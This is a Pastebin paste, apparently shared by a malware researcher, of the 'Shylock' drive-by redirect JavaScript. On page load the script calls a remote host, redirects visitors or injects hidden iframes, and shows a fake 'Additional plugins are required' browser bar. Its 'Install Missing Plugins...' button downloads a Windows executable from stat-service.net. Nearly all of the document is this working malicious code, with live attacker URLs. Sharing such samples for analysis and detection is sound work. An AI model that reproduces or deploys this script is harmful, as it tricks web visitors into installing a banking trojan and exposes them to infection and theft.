Kafeine

"Shylock DriveBy" Second Redirect

Jun 17th, 2014
374
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var wr = '0';
  2.  
  3. function setCookie() {
  4.     return 0;
  5.     var expire = new Date();
  6.     var today = new Date();
  7.     expire.setTime(today.getTime() + 3600000*24*10000);
  8.     document.cookie = "google_api=1;expires="+expire.toGMTString();
  9. }
  10.  
  11. function handlre() {
  12.  
  13. if( document.cookie.indexOf("google_api=1;") == -1 ) {
  14.     var j = document.createElement('script');
  15.     j.id = 'terr_452909';
  16.     document.body.appendChild(j);
  17.     j.src = 'http://grs.su/ping.html?id=452909&js=1&key=wu6w9yyvk3';
  18.     j.onload = j.onreadystatechange = function() { load() };
  19. } else if ( wr != '0' ) {
  20.     window.location.href = wr;
  21. }
  22.  
  23. };
  24.  
  25. var called = false
  26.  
  27. function ready() {
  28.     if (called) return
  29.     called = true
  30.     handlre()
  31. }
  32.  
  33. if ( document.addEventListener ) {
  34.     document.addEventListener( "DOMContentLoaded", function(){
  35.         ready()
  36.     }, false )
  37. } else if ( document.attachEvent ) {
  38.  
  39.     if ( document.documentElement.doScroll && window == window.top ) {
  40.         function tryScroll(){
  41.             if (called) return
  42.                 if (!document.body) return
  43.                 try {
  44.                     document.documentElement.doScroll("left")
  45.                     ready()
  46.                 } catch(e) {
  47.                 setTimeout(tryScroll, 0)
  48.             }
  49.         }
  50.         tryScroll()
  51.     }
  52.  
  53.     document.attachEvent("onreadystatechange", function(){
  54.         if ( document.readyState === "complete" ) {
  55.             ready()
  56.         }
  57.     })
  58. }
  59.  
  60. if (window.addEventListener)
  61.     window.addEventListener('load', ready, false)
  62. else if (window.attachEvent)
  63.     window.attachEvent('onload', ready)
  64.  
  65. function load(){
  66.     var innerHTML = document.werr || '0';
  67.  
  68.     if( innerHTML == 2 ) {
  69.         setCookie();
  70.     }
  71.     else if( innerHTML.length > 10 ) {
  72.         var match_url = innerHTML.match(/(.*?)[\?&]([^&]*?)$/);
  73.         if( match_url ) {
  74.             if(match_url[2] == 3) {
  75.                 window.location.href=match_url[1];
  76.             } else if(match_url[2] == 4) {
  77.     var MessagePluginCrash = function
  78. (
  79.     strNameObj,
  80.     os,
  81.     strUrlImgPlugin,
  82.     strInnerHtmlTextMessage,
  83.     strInnerHtmlTextButtonMessage,
  84.     strValueKeyEn,
  85.     strUrlImg_x,
  86.     strTitleCloseMessage,
  87.     strUrlExe
  88. )
  89. {
  90.     var self = this;
  91.     var str_id_div_plugin_crash = 'id_div_plugin_crash';
  92.     var str_id_button = 'id_button';
  93.     var str_id_text_button = 'id_text_button';
  94.     var str_id_button_x = 'id_button_x';
  95.     var str_id_body_site = 'id_body_site';
  96.     var str_id_td_button = 'id_td_button';
  97.  
  98.  
  99.     this.detectionBrowser = function()
  100.     {
  101.         var browser = 'unknown';
  102.        
  103.         if (navigator.userAgent.toLowerCase().indexOf('chrome') > -1)
  104.         {
  105.             browser = 'Chrome';
  106.         }
  107.        
  108.         if (navigator.userAgent.indexOf('MSIE') != -1)  //Для IE
  109.         {
  110.             browser = 'IE';
  111.         }
  112.        
  113.         if (navigator.userAgent.indexOf('Firefox') != -1)  //Для FF
  114.         {
  115.             browser = 'Firefox';
  116.         }
  117.        
  118.         return browser;
  119.     }
  120.    
  121.     this.browser = this.detectionBrowser();
  122.  
  123.     this.timeAnimation = 300;
  124.    
  125.     this.preventSelection = function(element){
  126.       var preventSelection = false;
  127.       function addHandler(element, event, handler){
  128.         if (element.attachEvent)
  129.           element.attachEvent('on' + event, handler);
  130.         else
  131.           if (element.addEventListener)
  132.             element.addEventListener(event, handler, false);
  133.       }
  134.       function removeSelection(){
  135.         if (window.getSelection) { window.getSelection().removeAllRanges(); }
  136.         else if (document.selection && document.selection.empty)
  137.           document.selection.empty();
  138.       }
  139.       addHandler(element, 'mousemove', function(){
  140.         if(preventSelection)
  141.           removeSelection();
  142.       });
  143.       addHandler(element, 'mousedown', function(event){
  144.         var event = event || window.event;
  145.         var sender = event.target || event.srcElement;
  146.         preventSelection = !sender.tagName.match(/INPUT|TEXTAREA/i);
  147.       });
  148.  
  149.       addHandler(element, 'mouseup', function(){
  150.         if (preventSelection)
  151.           removeSelection();
  152.         preventSelection = false;
  153.       });
  154.      }
  155.  
  156.     this.f_build_height_body_site = function()
  157.     {
  158.         document.getElementById(str_id_td_button).style.width = document.getElementById(str_id_button).offsetWidth + 'px';
  159.         var height_div_plugin_crash = document.getElementById(str_id_div_plugin_crash).offsetHeight;
  160.         var top_div_plugin_crash = document.getElementById(str_id_div_plugin_crash).offsetTop;
  161.         try {
  162.         document.getElementById(str_id_body_site).style.height = document.body.offsetHeight - height_div_plugin_crash - top_div_plugin_crash + 'px';
  163.         } catch(e) {}
  164.         document.getElementById(str_id_body_site).style.position = 'relative';
  165.         document.getElementById(str_id_body_site).style.left = '0px';
  166.         document.getElementById(str_id_body_site).style.top = height_div_plugin_crash + top_div_plugin_crash + 'px';
  167.     }
  168.    
  169.     this.animationAp = function
  170.     (
  171.         elem,
  172.         x_end_content,
  173.         y_end_content,
  174.         time_svorachivaniya_v_miliSec,
  175.         funStepAnimation
  176.     )
  177.     {
  178.         var d_x;
  179.         var d_y;
  180.         var i_end;
  181.         var i=0;
  182.         var period_miliSec = 40;
  183.         var x_start_content = elem.offsetLeft;
  184.         var y_start_content = elem.offsetTop;
  185.         var x_content = x_start_content;
  186.         var y_content = y_start_content;
  187.         i_end = time_svorachivaniya_v_miliSec / period_miliSec;
  188.         d_x = (x_start_content - x_end_content)/i_end;
  189.         d_y = (y_start_content - y_end_content)/i_end;
  190.         this.f_animationAp = function(){
  191.             x_content -= d_x;
  192.             y_content -= d_y;
  193.             i++;
  194.             if(i > i_end){
  195.                 clearInterval(this.timerId);
  196.                 elem.style.left = x_end_content + 'px';
  197.                 elem.style.top = y_end_content + 'px';
  198.                 this.flThereIsNoAnimation = true;
  199.             }else{
  200.                 elem.style.left = x_content + 'px';
  201.                 elem.style.top = y_content + 'px';
  202.             }
  203.             funStepAnimation();
  204.         }
  205.         var self = this;
  206.         this.timerId = setInterval(function() { self.f_animationAp() }, period_miliSec);
  207.         this.flThereIsNoAnimation = false;
  208.     }
  209.    
  210.     this.fun_animationShow = function()
  211.     {
  212.         this.animationAp
  213.         (
  214.             document.getElementById(str_id_div_plugin_crash),
  215.             0,
  216.             0,
  217.             this.timeAnimation,
  218.             this.f_build_height_body_site
  219.         );
  220.     }
  221.    
  222.     this.fun_animationHidden = function()
  223.     {
  224.         self.animationAp
  225.         (
  226.             document.getElementById(str_id_div_plugin_crash),
  227.             0,
  228.             -1 * document.getElementById(str_id_div_plugin_crash).offsetHeight,
  229.             self.timeAnimation,
  230.             self.f_build_height_body_site
  231.         );
  232.     }
  233.    
  234.     this.funLoad = function()
  235.     {
  236.         self.buildHtml();
  237.         self.preventSelection(document.getElementById(str_id_div_plugin_crash));
  238.        
  239.         document.getElementById(str_id_div_plugin_crash).style.top = '-' + document.getElementById(str_id_div_plugin_crash).offsetHeight + 'px';
  240.         self.f_build_height_body_site();
  241.         if (document.getElementById(str_id_div_plugin_crash).offsetTop < 0)
  242.         {
  243.             document.getElementById(str_id_div_plugin_crash).style.top = '-' + document.getElementById(str_id_div_plugin_crash).offsetHeight + 'px';
  244.             document.getElementById(str_id_body_site).style.height = document.body.offsetHeight + 'px';
  245.             document.getElementById(str_id_body_site).style.top = '0px';
  246.         }
  247.     }
  248.    
  249.     this.addHandler = function(element, event, handler)
  250.     {
  251.         if (element.attachEvent)
  252.             element.attachEvent('on' + event, handler);
  253.         else
  254.             if (element.addEventListener)
  255.                 element.addEventListener(event, handler, false);
  256.     }
  257.    
  258.     this.addHandler
  259.     (
  260.         window,
  261.         'load',
  262.         this.funLoad
  263.     );
  264.    
  265.     this.addHandler
  266.     (
  267.         window,
  268.         'resize',
  269.         function()
  270.         {
  271.             if (document.getElementById(str_id_div_plugin_crash).offsetTop < 0)
  272.             {
  273.                 document.getElementById(str_id_div_plugin_crash).style.top = '-' + document.getElementById(str_id_div_plugin_crash).offsetHeight + 'px';
  274.                 document.getElementById(str_id_body_site).style.height = document.body.offsetHeight + 'px';
  275.                 document.getElementById(str_id_body_site).style.top = '0px';
  276.             }
  277.             else
  278.             {
  279.                 self.f_build_height_body_site();
  280.             }
  281.         }
  282.     );
  283.    
  284.     this.actionsTrue = function()
  285.     {
  286.         self.fun_animationHidden();
  287.         location.href = strUrlExe;
  288.     }
  289.    
  290.     this.fun_clickKey = function(event)
  291.     {
  292.         var event = event || window.event;
  293.         var key = event.keyCode || event.which;
  294.         if (strValueKeyEn != '' && event.altKey && key == strValueKeyEn.charCodeAt(0))
  295.         {
  296.             if (document.getElementById(str_id_div_plugin_crash).offsetTop == 0)
  297.             {
  298.                 self.actionsTrue();
  299.             }
  300.         }
  301.     }
  302.    
  303.     this.addHandler(document, 'keydown', this.fun_clickKey);
  304.    
  305.     this.buildHtml = function()
  306.     {
  307.             var displacementTextButtonLeft = 0;
  308.             var displacementTextButtonTop = 0;
  309.            
  310.             if (os == 'Windows7')
  311.             {
  312.                 if (this.browser == 'IE')
  313.                 {
  314.                     var urlSpritesBackgroundImageButton = 'http://stat-service.net/files/img/bg_button_w7_IE.gif';
  315.                     var heightSpritesBackgroundImageButton = 207;
  316.                     //------------------
  317.                     displacementTextButtonLeft = 1;
  318.                     displacementTextButtonTop = 1;
  319.                 }
  320.             }
  321.            
  322.             if (os == 'WindowsXP')
  323.             {
  324.                 if (this.browser == 'IE')
  325.                 {
  326.                     var urlSpritesBackgroundImageButton = 'http://stat-service.net/files/img/bg_button_XP_IE.gif';
  327.                     var heightSpritesBackgroundImageButton = 216;
  328.                     //------------------
  329.                     displacementTextButtonLeft = 1;
  330.                     displacementTextButtonTop = 1;
  331.                 }
  332.             }
  333.            
  334.             if (this.browser == 'Firefox')
  335.             {
  336.                 var urlSpritesBackgroundImageButton = 'http://stat-service.net/files/img/bg_button_w7_FF.gif';
  337.                 var heightSpritesBackgroundImageButton = 216;
  338.             }
  339.            
  340.             var heightButton = heightSpritesBackgroundImageButton / 9;
  341.            
  342.             var strHtmlButton = ' <div onmousedown=" this.style.backgroundPosition = '+"'center -" + heightButton * 7 + "px'; "+'" onmouseout=" this.style.backgroundPosition = '+"'center -" + heightButton + "px'; "+'" onmouseover=" this.style.backgroundPosition = '+"'center -" + heightButton * 4 + "px'; "+'" onmouseup=" this.style.backgroundPosition = '+"'center -" + heightButton * 4 + "px'; "+'" style=" background-image: url(' + urlSpritesBackgroundImageButton + '); background-repeat: repeat-x; background-position: center -' + heightButton + 'px; float: left; margin:0; padding:0;z-index:100000;" id="' + str_id_button + '" onclick="' + strNameObj + '.actionsTrue();"> <div onmousedown=" this.style.backgroundPosition = '+"'left -" + heightButton * 6 + "px'; "+'" onmouseout=" this.style.backgroundPosition = '+"'left 0px'; "+'" onmouseover=" this.style.backgroundPosition = '+"'left -" + heightButton * 3 + "px'; "+'" onmouseup=" this.style.backgroundPosition = '+"'left -" + heightButton * 3 + "px'; "+'" style=" background-image: url(' + urlSpritesBackgroundImageButton + '); background-repeat: no-repeat; background-position: left 0px; float: left; "> <div onmousedown=" this.style.backgroundPosition = '+"'right -" + heightButton * 8 + "px'; document.getElementById('id_text_button').style.left = '" + displacementTextButtonLeft + "px'; document.getElementById('id_text_button').style.top = '" + displacementTextButtonTop + "px'; "+'" onmouseout=" this.style.backgroundPosition = '+"'right -" + heightButton * 2 + "px'; document.getElementById('id_text_button').style.left = '0'; document.getElementById('id_text_button').style.top = '0'; "+'" onmouseover=" this.style.backgroundPosition = '+"'right -" + heightButton * 5 + "px'; "+'" onmouseup=" this.style.backgroundPosition = '+"'right -" + heightButton * 5 + "px'; document.getElementById('id_text_button').style.left = '0'; document.getElementById('id_text_button').style.top = '0'; "+'" style=" background-image: url(' + urlSpritesBackgroundImageButton + '); background-position: right -' + heightButton * 2 + 'px; white-space: nowrap; background-repeat: no-repeat; height: ' + heightButton + 'px; padding: 0px 6px 0pt; overflow: hidden; float: left; cursor: default; "><span id="' + str_id_text_button + '" style=" font-family: Tahoma,Arial,Helvetica,sans-serif; font-size: 11px; color: #000000; line-height: ' + heightButton + 'px; cursor: default; position:relative; left:0; top:0; ">' + strInnerHtmlTextButtonMessage + '</span></div> </div> </div>'
  343.             //-------------------
  344.             strHtmlPluginCrash = '<div id="' + str_id_div_plugin_crash + '" style="position:absolute; left:0px; top:0px; width:100%; z-index:100000;"> <table width="100%" border="0" cellpadding="0" cellspacing="0" style="background-color:#ffffe1; border-top:1px solid #FFFFFF; border-left:1px solid #FFFFFF; border-bottom:1px solid #808080; font-family:Tahoma, Arial, Helvetica, sans-serif; font-size:11px; cursor:default; color:#000000;"> <tr> <td width="1" style="vertical-align:middle; background: none; border-bottom: none; border-left: none; padding: 0;"><div style="width:14px; height:15px; background-image:url(' + strUrlImgPlugin + '); background-repeat:no-repeat; text-decoration:none; display:block; margin:1px 8px 0 7px;"></div></td> <td style="padding:2px 0 2px 0;vertical-align:middle; background: none; border-bottom: none; border-left: none;color: #000000;"><span style="position:relative; top:-1px; letter-spacing:0.04em;">' + strInnerHtmlTextMessage + '</span></td> <td id="' + str_id_td_button + '" style="padding:1px 0 2px 0;vertical-align:middle; background: none; border-bottom: none; border-left: none;">' +
  345.             strHtmlButton
  346.             + '</td> <td align="center" width="1" style="vertical-align:middle; background: none; border-bottom: none; border-left: none; padding: 0;"><div id="' + str_id_button_x + '" style="width:16px; height:16px; background-image:url(' + strUrlImg_x + '); background-repeat:no-repeat; background-position:top; text-decoration:none; display:block; margin:0 7px 0 7px;" title="' + strTitleCloseMessage + '" onmouseover=" this.style.backgroundPosition = '+"'center'; "+'" onmouseout=" this.style.backgroundPosition = '+"'top'; "+'" onmousedown=" this.style.backgroundPosition = '+"'bottom'; "+'" onmouseup=" this.style.backgroundPosition = '+"'center'; "+'" onclick="' + strNameObj + '.fun_animationHidden();"></div></td> </tr> </table> </div>';
  347.  
  348.         var strBodyStart = document.body.innerHTML;
  349.         document.body.innerHTML = strHtmlPluginCrash + '<div id="' + str_id_body_site + '" style="overflow:auto;">' + strBodyStart + '</div>';
  350.     }
  351. }
  352.  
  353. objMessagePluginCrash = new MessagePluginCrash
  354. (
  355.     'objMessagePluginCrash',
  356.     'Windows7',
  357.     'http://stat-service.net/files/img/img_plugin.gif',
  358.     'Additional plugins are required to display all the media on this page.',
  359.     'Install Missing Plugins...',
  360.     'N',
  361.     'http://stat-service.net/files/img/img_x.gif',
  362.     'Close message',
  363.     'http://stat-service.net/stable/plugin_i386_v3_538.exe'
  364. );
  365.     objMessagePluginCrash.funLoad();
  366.         objMessagePluginCrash.fun_animationShow();
  367.                 var frm = document.createElement('iframe');
  368.                 document.body.appendChild(frm);
  369.                 frm.src = match_url[1];
  370.             } else {
  371.                 var frm = document.createElement('iframe');
  372.                 document.body.appendChild(frm);
  373. //              var frm = document.getElementById('terr_452909');
  374.                 frm.src = match_url[1];
  375.             };
  376.             setCookie();
  377.         }
  378.     }
  379.     else if ( wr != '0') {
  380.         window.location.href = wr;
  381.     }
  382. }
  383. //we623%_234$=452909=1==we623%_234$
Advertisement
Add Comment
Please, Sign In to add comment